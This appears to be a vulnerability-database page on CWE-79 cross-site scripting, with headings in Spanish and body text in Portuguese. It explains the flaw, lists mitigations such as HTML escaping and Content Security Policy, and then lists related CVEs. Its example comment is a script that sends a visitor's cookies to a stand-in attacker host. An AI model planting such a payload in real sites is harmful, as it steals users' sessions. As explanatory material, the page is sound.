Fallos del tipo CWE-79

29.598 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-0800MEDIUMSourceCodester Online Courseware Edit Teacher saveeditt.php cross site scriptingEPSS 0.4%CVE-2023-49493MEDIUMDedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the v parameter at selectimages.php.EPSS 0.4%CVE-2026-4069MEDIUMAlfie – Feed Plugin <= 1.2.1 - Cross-Site Request Forgery to Stored Cross-Site Scripting via 'naam' ParameterEPSS 0.4%CVE-2024-26124MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-26103MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.4%CVE-2024-26043MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-26125MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-26028MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-49492MEDIUMDedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the imgstick parameter at selectimages.EPSS 0.4%CVE-2024-26062MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2022-46369MEDIUMRumpus - FTP server Persistent cross-site scripting (PXSS) – Unspecified vectorEPSS 0.4%CVE-2024-26065MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-26040MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-26059MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-26056MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-28405HIGHMarkUs: Stored XSS in Submission HTML Preview Enables Instructor-Context ActionsEPSS 0.4%CVE-2024-4440MEDIUM140+ Widgets | Best Addons For Elementor – FREE <= 1.4.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple WidgetsEPSS 0.4%CVE-2024-26050MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-26045MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-40472CRITICALHackage package metadata stored XSS vulnerabilityEPSS 0.4%